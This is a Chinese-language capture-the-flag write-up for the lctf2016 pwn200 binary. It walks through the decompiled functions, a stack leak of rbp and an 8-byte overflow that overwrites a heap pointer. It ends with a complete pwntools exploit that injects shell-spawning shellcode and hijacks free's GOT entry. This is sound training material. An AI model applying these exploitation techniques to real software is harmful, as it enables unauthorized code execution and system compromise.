lctf2016_pwn200
参考

准备


64 位,保护全没开

分析

main函数

1
2
3
4
5
6
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_40079D(a1, a2, a3);
sub_400A8E();
return 0LL;
}

有一个 sub_400A8E 函数

sub_400A8E函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 sub_400A8E()
{
__int64 i; // [rsp+10h] [rbp-40h]
char v2[48]; // [rsp+20h] [rbp-30h] BYREF

puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &v2[i], 1uLL);
if ( v2[i] == 10 )
{
v2[i] = 0;
break;
}
}
printf("%s, welcome to ISCC~ \n", v2);
puts("give me your id ~~?");
sub_4007DF();
return sub_400A29();
}

第一个输入点, for 循环 48 次,每次输入 1 字符,共可以输入 48 字符, v2 大小也为 48
下面用 printf 输出我们的输入,直到遇到 \0 终止符,这里当我们输入 48 个非换行符字符时,会造成溢出,数据泄露
然后第二个输入点,有关 id 参数,用 sub_4007DF 函数
返回是另一个函数 sub_400A29 函数

sub_4007DF函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int sub_4007DF()
{
char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

v2 = 0;
for ( i = 0; i <= 3; ++i )
{
read(0, &nptr[i], 1uLL);
if ( nptr[i] == 10 )
{
nptr[i] = 0;
break;
}
if ( nptr[i] > 57 || nptr[i] <= 47 )
{
printf("0x%x ", nptr[i]);
return 0;
}
}
v2 = atoi(nptr);
if ( v2 >= 0 )
return atoi(nptr);
else
return 0;
}

id 参数输入的处理,没什么用处

sub_400A29函数

1
2
3
4
5
6
7
8
9
10
11
12
__int64 sub_400A29()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
char *dest; // [rsp+38h] [rbp-8h]

dest = (char *)malloc(0x40uLL);
puts("give me money~");
read(0, buf, 0x40uLL);
strcpy(dest, buf);
ptr = dest;
return sub_4009C4();
}

先创建一个堆块给 dest 参数
然后第三个输入,读取输入最大 64(0x40) 个字节到 buf ,但 buf 大小为 56,所以溢出了 8 字节
接着用 strcpy 函数将 buf 内容复制到 dest (堆中)
参数 dest 赋值给 ptr ( dest 地址赋值给 ptr 作为指针)
返回是一个函数 sub_4009C4 函数

sub_4009C4函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int sub_4009C4()
{
int n2; // eax

while ( 1 )
{
while ( 1 )
{
sub_4009AF();
n2 = sub_4007DF();
if ( n2 != 2 )
break;
sub_40096D();
}
if ( n2 == 3 )
break;
if ( n2 == 1 )
sub_4008B7();
else
puts("invalid choice");
}
return puts("good bye~");
}

先一个 sub_4009AF 菜单函数,两个选项

1-sub_4008B7(check in)(add)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int sub_4008B7()
{
int nbytes; // [rsp+Ch] [rbp-4h]

if ( ptr )
return puts("already check in");
puts("how long?");
nbytes = sub_4007DF();
if ( nbytes <= 0 || nbytes > 128 )
return puts("invalid length");
ptr = malloc(nbytes);
printf("give me more money : ");
printf("\n%d\n", nbytes);
read(0, ptr, (unsigned int)nbytes);
return puts("in~");
}

先判断 ptr 是否为空,来确定是否已经入住
没有入住,就先输入长度(堆块大小),进行创建堆块,在输入金额(堆块内容),写入堆块

2-sub_40096D(check out)(delete)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
void sub_40096D()
{
if ( ptr )
{
puts("out~");
free(ptr);
ptr = 0LL;
}
else
{
puts("havn't check in");
}
}

先判断 ptr 是否为空
不为空,就释放内存,将 ptr 设为 0

思路

这题原本是学习 House of Spirit 当一个例题的,但 House of Spirit 学的还不是很明白,而这题有其他解法,所以先给一个简单的解法
(后面什么时候 House of Spirit 懂得差不多了,在补这个解法)
这题比较麻烦的是又有栈又有堆,但是保护都没开,而且写入的大小足够,所以可以打 shellcode
先说几个重要的点
在第一个输入点处,有一个溢出
查看 ida 的栈情况

这里 rbp 就在输入点 v2 下面,所以可以输入 48 个非换行符字符,把 rbp 的地址泄露出来
在第三个输入点处,有一个 8 字节的溢出
查看 ida 的栈情况

// Use data definition commands to manipulate stack variables and arguments.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
-0000000000000040 // Frame size: 40; Saved regs: 8; Purge: 0
-0000000000000040
-0000000000000040 _BYTE buf;
-000000000000003F // padding byte
-000000000000003E // padding byte
-000000000000003D // padding byte
-000000000000003C // padding byte
-000000000000003B // padding byte
-000000000000003A // padding byte
-0000000000000039 // padding byte
-0000000000000038 // padding byte
-0000000000000037 // padding byte
-0000000000000036 // padding byte
-0000000000000035 // padding byte
-0000000000000034 // padding byte
-0000000000000033 // padding byte
-0000000000000032 // padding byte
-0000000000000031 // padding byte
-0000000000000030 // padding byte
-000000000000002F // padding byte
-000000000000002E // padding byte
-000000000000002D // padding byte
-000000000000002C // padding byte
-000000000000002B // padding byte
-000000000000002A // padding byte
-0000000000000029 // padding byte
-0000000000000028 // padding byte
-0000000000000027 // padding byte
-0000000000000026 // padding byte
-0000000000000025 // padding byte
-0000000000000024 // padding byte
-0000000000000023 // padding byte
-0000000000000022 // padding byte
-0000000000000021 // padding byte
-0000000000000020 // padding byte
-000000000000001F // padding byte
-000000000000001E // padding byte
-000000000000001D // padding byte
-000000000000001C // padding byte
-000000000000001B // padding byte
-000000000000001A // padding byte
-0000000000000019 // padding byte
-0000000000000018 // padding byte
-0000000000000017 // padding byte
-0000000000000016 // padding byte
-0000000000000015 // padding byte
-0000000000000014 // padding byte
-0000000000000013 // padding byte
-0000000000000012 // padding byte
-0000000000000011 // padding byte
-0000000000000010 // padding byte
-000000000000000F // padding byte
-000000000000000E // padding byte
-000000000000000D // padding byte
-000000000000000C // padding byte
-000000000000000B // padding byte
-000000000000000A // padding byte
-0000000000000009 // padding byte
-0000000000000008 char *dest;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

总共可以输入 0x40 大小,所以这里输入正好可以覆盖 *dest 参数
shellcode 主要考虑就是输入点和最后怎么指向 shellcode 处造成触发
这里我们在第一个输入点处写入 shellcode ,直接系统生成,输入大小是够的,并填充满 48 个字符,来泄露 rbp 的地址
(注意: shellcode 中不能有 \x00 字节,不然会无法造成数据泄露)

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
p=remote('node5.buuoj.cn',29101)
# p=process('/home/motaly/pwn')
elf=ELF('/home/motaly/pwn')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

shellcode = asm(shellcraft.sh())
p.sendafter('u?\n',shellcode+b"a"*(48-len(shellcode)))

rbp = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00'))
log.success("rbp: " + hex(rbp))

然后通过 rbp 的地址确定 shellcode 的地址,通过 gdb 调试确定两者偏移

1
2
3
4
5
6
7
8
shellcode = asm(shellcraft.sh())
p.sendafter('u?\n',shellcode+b"a"*(48-len(shellcode)))

rbp = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00'))
log.success("rbp: " + hex(rbp))
# gdb.attach(p)
shellcode_addr = rbp - 0x50
log.success("shellcode_addr: " + hex(shellcode_addr))


在第二个输入点 id 处随便给一个可行的值
主要在第三个输入点 money 处我们写入 shellcode 的地址,并把 *dest 篡改为 free_got 的地址,我们最后通过删除来触发 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
shellcode = asm(shellcraft.sh())
p.sendafter('u?\n',shellcode+b"a"*(48-len(shellcode)))

rbp = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00'))
log.success("rbp: " + hex(rbp))
gdb.attach(p)
shellcode_addr = rbp - 0x50
log.success("shellcode_addr: " + hex(shellcode_addr))

p.sendlineafter("give me your id ~~?", str(0))

free_got = elf.got["free"]
p.send(p64(shellcode_addr) + b'a'*(0x38-len(p64(shellcode_addr))) + p64(free_got))

这里总共可写 0x40 大小,除去 dest 的 8 位,所以前面总共需要 0x40-8=0x38 大小的数据
此时 dest=ptr=free_gotshellcode 的地址被写入堆中,所以 free_got 的值变成 shellcode_addr

最后选择 2 ,释放堆块
运用了 free 函数,因为前面的篡改,控制流会转向 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
shellcode = asm(shellcraft.sh())
p.sendafter('u?\n',shellcode+b"a"*(48-len(shellcode)))

rbp = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00'))
log.success("rbp: " + hex(rbp))
shellcode_addr = rbp - 0x50
log.success("shellcode_addr: " + hex(shellcode_addr))

p.sendlineafter("give me your id ~~?", str(0))

free_got = elf.got["free"]
p.send(p64(shellcode_addr) + b'a'*(0x38-len(p64(shellcode_addr))) + p64(free_got))

p.recvuntil('choice :')
p.sendline('2')
p.interactive()

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
# p=remote('node5.buuoj.cn',29101)
p=process('/home/motaly/pwn')
elf=ELF('/home/motaly/pwn')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

shellcode = asm(shellcraft.sh())
p.sendafter('u?\n',shellcode+b"a"*(48-len(shellcode)))

rbp = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00'))
log.success("rbp: " + hex(rbp))
shellcode_addr = rbp - 0x50
log.success("shellcode_addr: " + hex(shellcode_addr))

p.sendlineafter("give me your id ~~?", str(0))

free_got = elf.got["free"]
p.send(p64(shellcode_addr) + b'a'*(0x38-len(p64(shellcode_addr))) + p64(free_got))

p.recvuntil('choice :')
p.sendline('2')
p.interactive()